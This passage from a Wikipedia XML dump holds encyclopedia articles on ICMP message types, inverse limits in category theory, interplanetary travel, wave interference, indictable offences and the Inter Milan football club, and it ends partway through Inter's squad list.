ICMP messages are constructed at the IP layer, usually from a normal IP datagram which has generated an ICMP response. IP encapsulates the appropriate ICMP message with a new IP header (to get the ICMP message back to the original sending host), and transmits the resulting datagram in the usual manner.

For example, every machine (such as intermediate [[router]]s) that forwards an IP datagram has to decrement the [[time to live]] (TTL) field of the IP header by one; if the TTL reaches 0, an ICMP [[ICMP_Time_Exceeded|Time to live exceeded in transit]] message is sent to the source of the datagram.

Each ICMP message is encapsulated directly within a single IP datagram, and thus, like [[User Datagram Protocol|UDP]], ICMP does not guarantee delivery.

Although ICMP messages are contained within standard IP datagrams, ICMP messages are usually processed as a special case distinguished from normal IP processing, rather than processed as a normal sub-protocol of IP. In many cases, it is necessary to inspect the contents of the ICMP message, and deliver the appropriate error message to the application which generated the original IP packet, the one which prompted the sending of the ICMP message.

Many commonly used network utilities are based on ICMP messages. The [[traceroute]] command is implemented by transmitting UDP datagrams with specially set IP TTL header fields, and looking for ICMP [[ICMP_Time_Exceeded|Time to live exceeded in transit]] (above) and &quot;Destination unreachable&quot; messages generated in response. The related [[ping]] utility is implemented using the ICMP &quot;Echo&quot; and &quot;Echo reply&quot; messages.

List of permitted control messages (incomplete list):&lt;br&gt;
0 - [[ICMP Echo Reply|Echo Reply]]&lt;br&gt;
1 - Reserved&lt;br&gt;
2 - Reserved&lt;br&gt;
3 - [[ICMP Destination Unreachable|Destination Unreachable]]&lt;br&gt;
4 - [[ICMP Source Quench|Source Quench]]&lt;br&gt;
5 - [[ICMP Redirect Message|Redirect Message]]&lt;br&gt;
6 - Alternate Host Address&lt;br&gt;
7 - Reserved&lt;br&gt;
8 - [[ICMP Echo Request|Echo Request]]&lt;br&gt;
9 - Router Advertisement&lt;br&gt;
10 - Router Solicitation&lt;br&gt;
11 - [[ICMP_Time_Exceeded|Time Exceeded]]&lt;br&gt;
12 - Parameter Problem&lt;br&gt;
13 - [[ICMP_Timestamp|Timestamp]]&lt;br&gt;
14 - [[ICMP_Timestamp_Reply|Timestamp Reply]]&lt;br&gt;
15 - Information Request&lt;br&gt;
16 - Information Reply&lt;br&gt;
17 - [[Address Mask Request]]&lt;br&gt;
18 - [[Address Mask Reply]]&lt;br&gt;
19 - Reserved for security&lt;br&gt;
20-29 - Reserved for robustness experiment&lt;br&gt;
30 - Traceroute&lt;br&gt;
31 - Datagram Conversion Error&lt;br&gt;
32 - Mobile Host Redirect&lt;br&gt;
33 - [[IPv6]] [[Where-Are-You]]&lt;br&gt;
34 - [[IPv6]] [[Here-I-Am]]&lt;br&gt;
35 - Mobile Registration Request&lt;br&gt;
36 - Mobile Registration Reply&lt;br&gt;
37 - Domain Name Request&lt;br&gt;
38 - Domain Name Reply&lt;br&gt;
39 - [[SKIP]] Algorithm Discovery Protocol&lt;br&gt;
40 - [[Photuris (protocol)|Photuris]], Security failures&lt;br&gt;
41-255 - Reserved&lt;br&gt;
(Source: [http://www.iana.org/assignments/icmp-parameters IANA ICMP Parameters])&lt;br&gt;

==See also==
* [[ICMPv6]]
* [[IRDP]]
* [[Smurf attack]]

==External links==
* RFC 792, ''Internet Control Message Protocol''
* [http://www.eventhelix.com/RealtimeMantra/Networking/Icmp.pdf ICMP Sequence Diagram]
* RFC 1122, ''Requirements for Internet Hosts -- Communication Layers''

[[Category:Internet protocols]]
[[Category:Internet standards]]

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[[zh:因特网控制消息协议]]</text>
    </revision>
  </page>
  <page>
    <title>ICMP</title>
    <id>15108</id>
    <revision>
      <id>15912615</id>
      <timestamp>2004-10-23T18:20:26Z</timestamp>
      <contributor>
        <username>Jnc</username>
        <id>18024</id>
      </contributor>
      <minor />
      <comment>Use correct name</comment>
      <text xml:space="preserve">#REDIRECT [[Internet Control Message Protocol]]</text>
    </revision>
  </page>
  <page>
    <title>Inverse limit</title>
    <id>15109</id>
    <revision>
      <id>39006210</id>
      <timestamp>2006-02-10T02:07:15Z</timestamp>
      <contributor>
        <username>Zhw</username>
        <id>432414</id>
      </contributor>
      <comment>/* Examples */</comment>
      <text xml:space="preserve">In [[mathematics]], the '''inverse limit''' (also called the '''projective limit''') is a construction which allows one to &quot;glue together&quot; several related objects, the precise manner of the gluing process being specified by morphisms between the objects. Inverse limits can be defined in any [[category (mathematics)|category]], but we will initially only consider inverse limits of [[group (mathematics)|groups]].

== Formal definition ==

=== Algebraic objects ===

We start with the definition of an '''inverse system''' of [[group (mathematics)|groups]] and [[group homomorphism|homomorphisms]]. Let (''I'', &amp;le;) be a [[directed set|directed]] [[poset]] (not all authors require ''I'' to be directed). Let (''A''&lt;sub&gt;''i''&lt;/sub&gt;)&lt;sub&gt;''i''&amp;isin;''I''&lt;/sub&gt; be a [[family (mathematics)|family]] of groups and suppose we have a family of homomorphisms ''f''&lt;sub&gt;''ij''&lt;/sub&gt; : ''A''&lt;sub&gt;''j''&lt;/sub&gt; &amp;rarr; ''A''&lt;sub&gt;''i''&lt;/sub&gt; for all ''i'' &amp;le; ''j'' (note the order) with the following properties:
# ''f''&lt;sub&gt;''ii''&lt;/sub&gt; is the identity in ''A''&lt;sub&gt;''i''&lt;/sub&gt;,
# ''f''&lt;sub&gt;''ik''&lt;/sub&gt; = ''f''&lt;sub&gt;''ij''&lt;/sub&gt; &lt;small&gt;O&lt;/small&gt; ''f''&lt;sub&gt;''jk''&lt;/sub&gt; for all ''i'' &amp;le; ''j'' &amp;le; ''k''.
Then the set of pairs (''A''&lt;sub&gt;''i''&lt;/sub&gt;, ''f''&lt;sub&gt;''ij''&lt;/sub&gt;) is called an inverse system of groups and morphisms over ''I''.

We define the '''inverse limit''' of the inverse system (''A''&lt;sub&gt;''i''&lt;/sub&gt;, ''f''&lt;sub&gt;''ij''&lt;/sub&gt;) as a particular [[subgroup]] of the [[direct product]] of the ''A''&lt;sub&gt;''i''&lt;/sub&gt;'s:
:&lt;math&gt;\varprojlim A_i = \Big\{(a_i) \in \prod_{i\in I}A_i \;\Big|\; a_i = f_{ij}(a_j) \mbox{ for all } i \leq j\Big\}&lt;/math&gt;
The inverse limit, ''A'', comes equipped with ''natural projections'' &amp;pi;&lt;sub&gt;''i''&lt;/sub&gt; : ''A'' &amp;rarr; ''A''&lt;sub&gt;''i''&lt;/sub&gt; which pick out the ''i''th component of the direct product. The inverse limit and the natural projections satisfy a [[universal property]] described in the next section.

This same construction may be carried out if the ''A''&lt;sub&gt;''i''&lt;/sub&gt;'s are [[set]]s, [[ring (mathematics)|rings]], [[module (mathematics)|modules]] (over a fixed ring), [[algebra over a field|algebras]] (over a fixed field), etc., and the [[homomorphism]]s are homomorphisms in the corresponding [[category theory|category]]. The inverse limit will also belong to that category.

=== General definition ===

The inverse limit can be defined abstractly in an arbitrary [[category (mathematics)|category]] by means of a [[universal property]]. Let (''X''&lt;sub&gt;''i''&lt;/sub&gt;, ''f''&lt;sub&gt;''ij''&lt;/sub&gt;) be an inverse system of objects and [[morphism]]s  in a category ''C'' (same definition as above). The '''inverse limit''' of this system is an object ''X'' in ''C'' together with morphisms &amp;pi;&lt;sub&gt;''i''&lt;/sub&gt; : ''X'' &amp;rarr; ''X''&lt;sub&gt;''i''&lt;/sub&gt; (called ''projections'') satisfying &amp;pi;&lt;sub&gt;''i''&lt;/sub&gt; = ''f''&lt;sub&gt;''ij''&lt;/sub&gt; &lt;small&gt;O&lt;/small&gt; &amp;pi;&lt;sub&gt;''j''&lt;/sub&gt; . The pair (''X'', &amp;pi;&lt;sub&gt;''i''&lt;/sub&gt;)  must be universal in the sense that for any other such pair (''Y'', &amp;psi;&lt;sub&gt;''i''&lt;/sub&gt;) there exists a unique morphism ''u'' : ''Y'' &amp;rarr; ''X'' making all the &quot;obvious&quot; identities true; i.e. the diagram.

&lt;div style=&quot;text-align: center;&quot;&gt;[[Image:InverseLimit-01.png]]&lt;/div&gt;

must [[commutative diagram|commute]] for all ''i'', ''j''. The inverse limit is often denoted
:&lt;math&gt;X = \varprojlim X_i&lt;/math&gt;
with the inverse system (''X''&lt;sub&gt;''i''&lt;/sub&gt;, ''f''&lt;sub&gt;''ij''&lt;/sub&gt;) being understood. 

Unlike for algebraic objects, the inverse limit may not exist in an arbitrary category. If it does, however, it is unique in a strong sense: given any another inverse limit ''X''&amp;prime; there exists is a ''unique'' [[isomorphism]] ''X''&amp;prime; &amp;rarr; ''X'' commuting with the projection maps.

We note that an inverse system in category ''C'' admits an alternative description in terms of [[functor]]s. Any partially ordered set ''I'' can be considered as a [[small category]] where the morphisms consist of arrows ''i'' &amp;rarr; ''j'' [[iff]] ''i'' &amp;le; ''j''. An inverse system is then just a [[contravariant functor]] ''I'' &amp;rarr; ''C''.

== Examples ==

* The ring of [[p-adic numbers|''p''-adic integers]] is the inverse limit of the rings '''Z'''/''p''&lt;sup&gt;''n''&lt;/sup&gt;'''Z''' (see [[modular arithmetic]]) with the index set being the [[natural number]]s with the usual order, and the morphisms being &quot;take remainder&quot;. The natural [[topology]] on the ''p''-adic integers is the same as the one described here.
* [[Pro-finite group|Pro-finite groups]] are defined as inverse limits of finite discrete groups.
* Let the index set ''I'' of an inverse system (''X''&lt;sub&gt;''i''&lt;/sub&gt;, ''f''&lt;sub&gt;''ij''&lt;/sub&gt;) have a [[greatest element]] ''m''. Then the natural projection &amp;pi;&lt;sub&gt;''m''&lt;/sub&gt; : ''X'' &amp;rarr; ''X''&lt;sub&gt;''m''&lt;/sub&gt; is an isomorphism.
* Inverse limits in the [[category of topological spaces]] are given by placing the [[initial topology]] on the underlying set-theoretic inverse limit.
* Let (''I'', =) be the trivial order (not directed). The inverse limit of any corresponding inverse system is just the [[product (category theory)|product]].
* Let ''I'' consist of three elements ''i'', ''j'', and ''k'' with ''i'' &amp;le; ''j'' and ''i'' &amp;le; ''k'' (not directed). The inverse limit of any corresponding inverse system is the [[pullback (category theory)|pullback]].

== Related concepts and generalizations ==

The [[dual (category theory)|categorical dual]] of an inverse limit is a [[direct limit]] (or inductive limit). More general concepts are the [[limit (category theory)|limits and colimits]] of category theory. The terminology is somewhat confusing: inverse limits are limits, while direct limits are colimits.

[[Category:Category theory]]
[[Category:Abstract algebra]]

[[de:Limes (Kategorientheorie)]]</text>
    </revision>
  </page>
  <page>
    <title>Interplanetary travel</title>
    <id>15111</id>
    <revision>
      <id>40168606</id>
      <timestamp>2006-02-18T18:13:54Z</timestamp>
      <contributor>
        <username>Nickshanks</username>
        <id>20152</id>
      </contributor>
      <minor />
      <comment>/* [[Orbital mechanics]] of interplanetary travel */</comment>
      <text xml:space="preserve">By definition, '''interplanetary travel''' is [[travel]] between bodies in a given star system. 

== Current achievements in interplanetary travel ==

NASA's [[Apollo program]] landed twelve people on the [[Moon]] and returned them to [[Earth]]: Apollo 11-17, except 13, i.e. six missions, each with three astronauts of which two landed on the Moon. [[unmanned space mission|Robot probes]] have been sent to fly past most of the major planets of the [[Solar system]].   The most distant probe spacecraft [[Pioneer 10]], [[Pioneer 11]], [[Voyager 1]] and [[Voyager 2]] are on course to leave the Solar system, but will cease to function long before reaching the [[Oort cloud]].

Robot landers such as [[Viking program|Viking]] and [[Mars Pathfinder |Pathfinder]] have already landed on the surface of [[Mars (planet)|Mars]] and several [[Venera]] and [[Vega program|Vega]] spacecraft have landed on the surface of [[Venus (planet)|Venus]]. The [[NEAR Shoemaker]] orbiter successfully landed on the asteroid [[433 Eros]], even though it was not designed with this maneuver in mind.

==[[Orbital mechanics]] of interplanetary travel==

To date, the only form of [[spacecraft propulsion]] used for interplanetary missions is the chemical [[rocket engine]].    The limitations of this engine dictate the trajectories and travel times required for interplanetary travel.  

All objects in a star system are in orbit around the star; if they were not, they would have &quot;left&quot; the system or fallen into the star long ago. This implies that one cannot simply point oneself at another planet and fly in that direction, because upon arrival the planet will be moving at an inappropriate relative velocity or may have moved altogether. For instance, if a [[spacecraft]] were to start from the Earth and fly to Mars, its final velocity will be close to Earth's orbital velocity which is much higher than that of Mars. This is because any spacecraft starting on a planet is also in orbit around the Sun, and a brief glance at the planetary speeds and distances demonstrates that the power of a chemical rocket pales in comparison to the relative speeds of the planets. In order to make interplanetary travel possible, a reduction in the total amount of energy needed to do so is required.

For many years this meant using the [[Hohmann transfer orbit]]. Hohmann demonstrated that the lowest energy transfer between any two orbits is to elongate the orbit so that its apogee lies over the orbit in question. Once the spacecraft arrives, a second application of thrust will re-circularize the orbit at the new location. In the case of planetary transfers this means adjusting the spacecraft, originally in an orbit almost identical to Earth's, such that the [[apogee]] is on the far side of the Sun near the orbit of the other planet. A spacecraft traveling from Earth to Mars via this method will arrive near Mars orbit in approximately 18 months, but because the orbital velocity is greater when closer to the center of mass (ie. the Sun) and slower when farther from the center, the spacecraft will be travelling quite slowly and a small application of thrust is all that is needed. If the manoeuver is timed properly, Mars will be &quot;arriving&quot; under the spacecraft when this happens.

The Hohmann transfer applies to any two orbits, not just those with planets involved. For instance it is the most common way to transfer satellites into [[geostationary orbit]], after first being &quot;parked&quot; in [[low earth orbit]]. However the Hohmann transfer takes an amount of time similar to 1/2 of the orbital period of the outer orbit, so in the case of the outer planets this is many years &amp;ndash; too long to wait. It is also based on the assumption that the points at both ends are massless, as in the case when transferring between two orbits around Earth for instance. With a planet at the destination end of the transfer, calculations become considerably more difficult.

One technique, known as the [[gravitational slingshot]], uses the [[gravity]] of the planets to modify the path of the spacecraft without using fuel. In typical example, a spacecraft is sent to a distant planet on a path that is much faster than what the Hohmann transfer would call for. This would typically mean that it would arrive at the planet's orbit and continue past it. However if there is a planet between the departure point and the target, it can be used to bend the path toward the target, and in many cases the overall travel time is greatly reduced. A prime example of this are the two craft of the [[Voyager program]], which used slingshot effects to change trajectories several times in the outer solar system. This method is not easily applicable to Earth-Mars travel however, although it is possible to use other nearby planets such as [[Venus (planet)|Venus]] or even the [[Moon]] as slingshots.

Another technique uses the [[Celestial body atmosphere|atmosphere]] of the target planet to slow down. In this case the spacecraft is sent on a high-speed transfer, which would normally mean it would go right past its target upon arrival. By passing into the atmosphere this extra speed is lost, and the amount of energy lost to transport the weight of the required [[heat shield]] is considerably less than the weight of the rocket fuel that would be needed to provide the same amount of energy. This concept, known as [[aerobraking]], was first used on the [[Apollo program]] wherein the returning spacecraft did not bother to re-enter Earth orbit in a transfer, and instead re-entered immediately at the end of the journey. Similar systems are included on most basic plans for a manned mission to Mars.

Recent advances in [[computing]] have allowed old mathematical solutions to be re-investigated, and have led to a new system for calculating even lower-cost transfers. Paths have been calculated which link the [[Lagrange points]] of the various planets into the so-called [[Interplanetary Transport Network]]. The transfers on this system are slower than Hohmann transfers, but use even less energy, and are particularly useful for sending spacecraft between the inner planets.

==Improved methods==

There are a number of designs for more efficient spacecraft propulsion methods (as measured by [[specific impulse]]) that could, speed up interplanetary space missions greatly and allow greater design &quot;safety margins&quot; by reducing the imperative to make spacecraft lighter.  If developed, such designs would use trajectories far different to Hohmann transfers.

The most likely near-term development is that of electric propulsion, which uses an external source such as a [[nuclear reactor]] to generate [[electricity]], which is then used to accelerate a chemically inert propellant to speeds far higher than achieved in a chemical rocket. A prototype of this technology has already been used on NASA's [[Deep Space 1|Deep Space One]].  A more ambitious, nuclear-powered version was intended for an unmanned Jupiter mission, the [[Jupiter Icy Moons Orbiter]], originally planned for launch sometime in the next decade.  Due to a shift in priorities at NASA that favored manned space missions, the project lost funding in 2005, effectively cancelling the JIMO mission.  

See the [[spacecraft propulsion]] article for a discussion of a number of other technologies that could, in the medium to longer term, be the basis of interplanetary missions.  Unlike the situation with [[interstellar travel]], the barriers to fast interplanetary travel involve engineering and economics rather than any basic physics.

While manned interplanetary travel (with the arguable exception of the Apollo program) has not yet been achieved, a trip to [[Mars (planet)|Mars]] is probably feasible, even with chemical rocket propulsion, and could probably be achieved within a decade (at most two) if the funds were made available. [[NASA]]'s &quot;Design Reference Mission&quot; proposes a Mars exploration program costing $50 billion, but others have made detailed proposals with projected costs much less (see [[Mars Direct]]).</text>
    </revision>
  </page>
  <page>
    <title>Interference</title>
    <id>15112</id>
    <revision>
      <id>39683851</id>
      <timestamp>2006-02-15T03:37:38Z</timestamp>
      <contributor>
        <username>Falcorian</username>
        <id>153128</id>
      </contributor>
      <minor />
      <comment>Adding text to picture.</comment>
      <text xml:space="preserve">{{otheruses}}

[[image:wavepanel.png|right|frame|'''Interference of two circular waves''' - Wavelength (decreasing bottom to top) and Wave centers distance (increasing to the right). Absolute value snapshots of the (real-valued, scalar) wave field. As time progresses, the wave fronts would move outwards from the two centers, but the dark regions (destructive interference) stay fixed.]]

'''Interference''' is the [[Superposition principle|superposition]] of two or more [[wave]]s resulting in a new wave pattern. As most commonly used, the term usually refers to the interference of waves which are [[correlated]] or [[Coherence (physics)|coherent]] with each other, either because they come from the same source or because they have the same or nearly the same [[frequency]]. Two non-monochromatic waves are only fully coherent with each other if they both have exactly the same range of wavelengths and the same [[phase (waves)|phase]] differences at each of the constituent wavelengths.

The principle of superposition of waves states that the resultant displacement at a point is equal to the sum of the displacements of different waves at that point. If a crest of a wave meets a crest of another wave at the same point then the crests interfere ''constructively'' and the resultant wave [[amplitude]] is greater. If a crest of a wave meets a trough then they interfere ''destructively'', and the overall amplitude is decreased.

Interference is involved in [[Thomas Young (scientist)|Thomas Young]]'s [[double-slit experiment]] where two beams of light which are coherent with each other interfere to produce an interference pattern (the beams of light both have the same wavelength range and at the center of the interference pattern they have the same [[phase (waves)|phase]]s at each wavelength, as they both come from the same source). More generally, this form of interference can occur whenever a wave can propagate from a source to a destination by two or more paths of different length. Two or more sources can only be used to produce interference when there is a fixed phase relation between them, but in this case the interference generated is the same as with a single source; see [[Huygens principle|Huygens' principle]]. 

Light from any source can be used to obtain interference patterns, for example, [[Newton's rings]] can be produced with [[sunlight]]. However, in general [[white]] light is less suited for producing clear interference patterns, as it is a mix of a full spectrum of colours, that each have different spacing of the interference fringes. [[Sodium light]] is close to [[monochromatic]] and is thus more suitable for producing interference patterns. Most suitable is [[laser]] light because that is almost perfectly monochromatic.

==Constructive and destructive interference==
[[Image:Michelson Interferometer Green Laser Interference.jpg|thumb|right|250px|Interference pattern produced with a [[Michelson interferometer]]. Bright bands are the result of '''constructive interference''' while the dark bands are the result of '''destructive interference'''.]]
When two waves superimpose, the resulting waveform depends on the frequency (or wavelength) amplitude and relative phase of the two waves. If the two waves have the same amplitude ''A'' and wavelength the resultant waveform will have amplitude between 0 and 2''A'' depending on whether the two waves are in phase or [[out of phase]].

{|
|-
| '''combined&lt;br&gt; waveform'''
| colspan=&quot;2&quot; rowspan=&quot;3&quot; | [[Image:Interference of two waves.png]]
|-
| '''wave 1'''
|-
| '''wave 2'''
|-
| &lt;br&gt;
| '''Two waves in phase'''
| '''Two waves 180° out &lt;br&gt;of phase'''
|}

Consider two waves that are in phase,with amplitudes ''A''&lt;sub&gt;1&lt;/sub&gt; and ''A''&lt;sub&gt;2&lt;/sub&gt;. Their troughs and peaks line up and the resultant wave will have amplitude ''A''&amp;nbsp;=&amp;nbsp;''A''&lt;sub&gt;1&lt;/sub&gt;&amp;nbsp;+&amp;nbsp;''A''&lt;sub&gt;2&lt;/sub&gt;. This is known as '''constructive interference'''.

If the two waves are 180° out of phase, then one wave's crests will coincide with another wave's troughs and so will tend to cancel out. The resultant amplitude is ''A''&amp;nbsp;=&amp;nbsp;|A&lt;sub&gt;1&lt;/sub&gt;&amp;nbsp;&amp;minus;&amp;nbsp;''A''&lt;sub&gt;2&lt;/sub&gt;|. If ''A''&lt;sub&gt;1&lt;/sub&gt;&amp;nbsp;=&amp;nbsp;''A''&lt;sub&gt;2&lt;/sub&gt; the resultant amplitude will be zero. This is known as '''destructive interference'''.

== See also ==

* [[Beat (acoustics)]]
* [[Moiré pattern]]
* [[Interferometer]]

==External links==
{{Commons|Interference}}
* [http://www.falstad.com/ripple/ex-2source.html Java demonstration of interference]

[[Category:Interference| ]]
[[Category:Optics]]
[[Category:Wave mechanics]]

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[[vi:Giao thoa]]
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  </page>
  <page>
    <title>Indictable offence</title>
    <id>15114</id>
    <revision>
      <id>40303513</id>
      <timestamp>2006-02-19T17:52:17Z</timestamp>
      <contributor>
        <username>David91</username>
        <id>262604</id>
      </contributor>
      <comment>tidying up</comment>
      <text xml:space="preserve">{{EngCrimLaw}}
In many [[common law]] [[jurisdiction]]s (e.g. the [[United Kingdom]], [[Canada]], [[United States]], [[Australia]]), an '''indictable offence''' is an offence which can only be tried on an [[indictment]] after a preliminary hearing to determine whether there is a ''[[prima facie]]'' case to answer or by a [[grand jury]]. In [[trial (law)|trial]]s for indictable offences, the accused normally has the right to a [[jury trial]], unless he or she waives that right. In the United States, a crime of similar severity is usually referred to as a [[felony]] although it too proceeds after an indictment.

In [[English law]] the term refers to [[either way]] and indictable only offences. An either way or hybrid offence allows the defendant to elect between trial by jury on indictment in the [[Crown Court]] and summary trial in the [[magistrate|Magistrates' Court]]. However, the election may be overruled by the court of first instance if the facts suggest that the [[sentence (law)|sentencing]] powers of a Magistrates' Court would be inadequate to represent the seriousness of the offence. Some offences such as [[murder]] and [[rape]] are considered so serious that they can only be tried on indictment at the Crown Court where the widest range of sentencing powers is available to the [[judge]].

==See also== 
*[[Summary offence]]
*[[Felony]]
*[[Indictment]]

[[Category:Crimes]]
[[Category:Criminal law]]
[[Category:Common law]]

{{law-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Internazionale Milano F.C.</title>
    <id>15116</id>
    <revision>
      <id>42104509</id>
      <timestamp>2006-03-03T21:29:10Z</timestamp>
      <contributor>
        <username>Donation</username>
        <id>634260</id>
      </contributor>
      <comment>revert</comment>
      <text xml:space="preserve">{{Football club infobox |
  clubname = Inter |
  image    = [[Image:FC Internazionale logo.png|75px|logo]] |
  fullname = Internazionale Milano&lt;br&gt;Football Club SpA |
  nickname = [[Nerazzurri|''Nerazzurri'']]&lt;br&gt;(the Black-Blues) |
  founded  = [[March 9]],[[1908]] |
  ground   = [[San Siro|Stadio Giuseppe Meazza]],&lt;br/&gt;San Siro, [[Milan]], [[Italy]] |
  capacity = 85,700 | 
  chairman = [[Giacinto Facchetti]] |
  manager  = [[Roberto Mancini]] |
  league   = [[Serie A]] |
  season   = 2004-05 |
  position = [[Serie A]], 3rd |
 pattern_la1=|pattern_b1=_blackstripes|pattern_ra1=|
  leftarm1=0055A3|body1=0055A3|rightarm1=0055A3|shorts1=000000|socks1=000000|
  pattern_la2=|pattern_b2=|pattern_ra2=|
  leftarm2=FFFFFF|body2=FFFFFF|rightarm2=FFFFFF|shorts2=FFFFFF|socks2=FFFFFF|
}}

'''Internazionale Milano Football Club''' is an [[Italy|Italian]] [[football (soccer)|football]] club based in [[Milan]], [[Lombardy]], which plays in the [[Serie A]]. It is more commonly known as '''Inter''', and often named '''Inter Milan''' in foreign countries. The club wears the recognisable blue and black stripes, with the current sponsors [[Pirelli]] on their shirt.

==History==

===Pre First World War=== 

The club was founded on [[March 9]], [[1908]] following a schism from the Milan Cricket and Football Club, now known as [[A.C. Milan|AC Milan]]. A group of Italians and [[Switzerland|Swiss]] were unhappy about the domination of Italians in the AC Milan team, and broke away from them, leading to the creation of Internazionale. From the beginning, the club was open to foreign players and thus lived up to her founding name. The original nickname of the team in the Milano dialect was ''La Beneamata'', the cherished.

The club won its very first [[scudetto|championship]] in [[1910]] and its second in [[1920]]. The Captain and the Coach of the first ''scudetto'' was [[Virgilio Fossati]], born in [[Milan]] and brother of [[Giuseppe Fossati]] (who won the second Inter championship). Unfortunately Virgilio Fossati died during the [[World War I|First World War]].

===Between the Wars===

During the turbulent period between the [[World War I|First]] and [[World War II|Second World War]]s, Internazionale was forced to change its name to '''Ambrosiana-Inter''' in order to accommodate the requests of [[Benito Mussolini]]'s [[fascist]] regime. However, Inter was still used to winning ways and captured its third league championship in the new Italian first division in [[1930]]. Following that, a fourth league title was won in 1938, Inter's first [[Coppa Italia]] (Italian Cup) was won in 1940 and a fifth league championship  followed in [[1940]]. From [[1942]] onwards, the name Ambrosiana-Inter was dropped in favour of the original ''Internazionale Milano''.

===La Grande Inter===
Following the war, Inter won its sixth championship in [[1953]] and the seventh in [[1954]]. Following these titles, Inter was to enter the best years of its history, affectionately known as the era of '''La Grande Inter''' (The Great Inter). During this magnificent period, the club won 3 league championships in [[1963]], [[1965]] &amp; [[1966]]. The most famous moments during this decade also include Inter's 2 back-to-back [[UEFA Champions League|European Cup]] wins. In [[1964]], Inter won the first of those tournaments, playing against the famous Spanish club [[Real Madrid]]. The next season, playing in their own [[stadium]], the [[Giuseppe Meazza Stadium|San Siro]], Inter won their second [[European Cup]] against [[Portugal|Portuguese]] outfit [[SL Benfica|Benfica]]. During that years many great players dressed the Neroazzuri shirt: [[Luis Suarez]], [[Giacinto Facchetti]], [[Sandro Mazzola]], [[Angelo Domenghini]], [[Mario Corso]]. The owner and president of the team was [[Angelo Moratti]], father of the current owner. He offered enormous amounts of money to buy [[Eusebio]] and [[Pelé]]; both players agreed to move to Inter, but politics intervened. The military dictatorships of Portugal and Brazil both refused to sanction the moves, and both transfers fell through. In 1967, Inter lost 1-2 in the final of the European Cup against [[Celtic F.C.]].

===1970 to date===

Following the golden [[1960]]s, Inter managed to win their 11th league title in [[1971]] and their 12th in [[1980]]. Inter were defeated for the second time in five years in the final of the European Cup, going down 0-2 to [[Johan Cruijff]]'s [[Ajax Amsterdam]] in 1972. During the [[1970]]s &amp; [[1980]]s, Inter also added to it's Coppa Italia tally the second and third cups in [[1978]] and [[1982]] respectively. Inter won their most recent league championship in 1989, bringing their total tally of ''scudetti'' to 13. They sit third in the all-time list of most wins of the league championship, behind [[Juventus]] (28) and [[A.C. Milan]] (17).

Internazionale has also won the [[UEFA Cup]] on 3 occasions, all of them in the the space of fifteen years. The first was in the 1990-91 season in a two-legged final with [[AS Roma]]. In 1993-94, Inter did it again, this time against Austrian side [[Austria Salzburg|Casino Salzburg]]. In a record third UEFA Cup victory, in the 1997-98 season, Inter beat [[SS Lazio]] in a one-match final played in the [[Parc des Princes]], [[Paris]].

===Other Historical Information===

Inter holds a proud record of never having been [[relegation|relegated]] to [[Serie B]] (second division) in its entire existence. The fans hold this in high regard as Inter are only one of two clubs (the other being [[Juventus]]) that have been ever-present in [[Serie A]]. Juventus were nominally relegated in 1911 and 1913 but remained at the first level in Piemonte Regional League in [[1911]], and in the Lombardia Regional League in the [[1913]]; in addition, they didn't finish the championship in [[1908]].

The current honorary [[president]] and owner of Inter is [[Massimo Moratti]]. His father, Angelo Moratti was the president of Inter during the golden era of the 1960s. Massimo, trying to emulate his father's great success, has spent a great deal of money to bring some of the world's best players to the club without managing to secure that elusive fourteenth championship.

==Rivalry==
Inter have two very great rivalries. The first is obviously cross-town arch-enemies, [[A.C. Milan]]. Inter is derived from AC Milan, so their rivalry has been in existence since creation. During the 1960's Inter was the more successful club, however in recent times AC Milan has been the more dominant team. 

Another rival of Inter is [[Juventus F.C.]]. Matches between these two teams are called the ''derby d'italia''. 

==San Siro==
The stadium in which Inter plays is called ''[[San Siro|Stadio Giuseppe Meazza]]'', also known as ''San Siro'' (since the stadium is in the &quot;San Siro&quot; district). It was previously simply known as San Siro, but a new name was adopted in [[1980]] after [[Giuseppe Meazza]]'s death. Meazza was a famous player for FC Internazionale in the [[1930]]s and also played for [[AC Milan]] for a brief period of time. As a player, he won two World Cups for Italy (in [[Football World Cup 1934|1934]] and [[Football World Cup 1938|1938]]) and, alongside [[Giovanni Ferrari]], remains one of only two Italian players to have ever won the [[FIFA World Cup]] on two occasions. As a result, he is revered amongst the ''Interisti'' (Inter fans) and was honored by having one of the most famous football stadiums in the world named after him. The stadium seats 85,700 and plays host to both FC Internazionale and [[AC Milan]].

==Current first team squad==
''As of January 31, 2006''
{{Football squad start}}
{{Football squad player|no=1|nat=Italy|name=[[Francesco Toldo]]|pos=GK}}
{{Football squad player|no=2|nat=Colombia|name=[[Iván Córdoba]]|pos=DF}}
{{Football squad player|no=3|nat=Argentina|name=[[Nicolas Burdisso]]|pos=DF}}
{{Football squad player|no=4|nat=Argentina|name=[[Javier Zanetti]]|pos=DF|other=captain}}
{{Football squad player|no=5|nat=Serbia and Montenegro|name=[[Dejan Stankovic]]|pos=MF}}
{{Football squad player|no=6|nat=Italy|name=[[Cristiano Zanetti]]|pos=MF}}
{{Football squad player|no=7|nat=Portugal|name=[[Luís Figo]]|pos=MF}}
{{Football squad player|no=8|nat=Chile|name=[[David Pizarro]]|pos=MF}}
{{Football squad player|no=9|nat=Argentina|name=[[Julio Ricardo Cruz|Julio Cruz]]|pos=FW}}
{{Football squad player|no=10|nat=Brazil|name=[[Adriano Leite Ribeiro|Adriano]]|pos=FW}}
{{Football squad player|no=11|nat=Serbia and Montenegro|name=[[Siniša Mihajlović]]|pos=DF}}
{{Football squad player|no=12|nat=Brazil|name=[[Júlio César Soares Espíndola|Júlio César]]|pos=GK}}
{{Football squad player|no=13|nat=Brazil|name=[[Zé María]]|pos=DF}}
{{Football squad player|no=14|nat=Argentina|name=[[Juan Sebastián Verón]]|pos=MF|other=on loan from [[Chelsea F.C.|Chelsea]]}}
{{Football squad player|no=16|nat=Italy|name=[[Giuseppe Favalli]]|pos=DF}}
{{Football squad mid}}
{{Football squad player|no=18|nat=Argentina|name=[[Kily Gonzalez]]|pos=MF}}
{{Football squad player|no=19|nat=Argentina|name=[[Esteban Cambiasso]]|pos=MF}}
{{Football squad player|no=20|nat=Uruguay|name=[[Alvaro Recoba]]|pos=FW}}
{{Football squad player|no=21|nat=Argentina|name=[[Santiago Solari]]|pos=MF}}
{{Football squad player|no=22|nat=Italy|name=[[Paolo Orlandoni]]|pos=GK}}
{{Football squad player|no=23|nat=Italy|name=[[Marco Materazzi]]|pos=DF}}
{{Football squad player|no=25|nat=Argentina|name=[[Walter Samuel]]|pos=DF}}
{{Football squad player|no=30|nat=Nigeria|name=[[Obafemi Martins]]|pos=FW}}
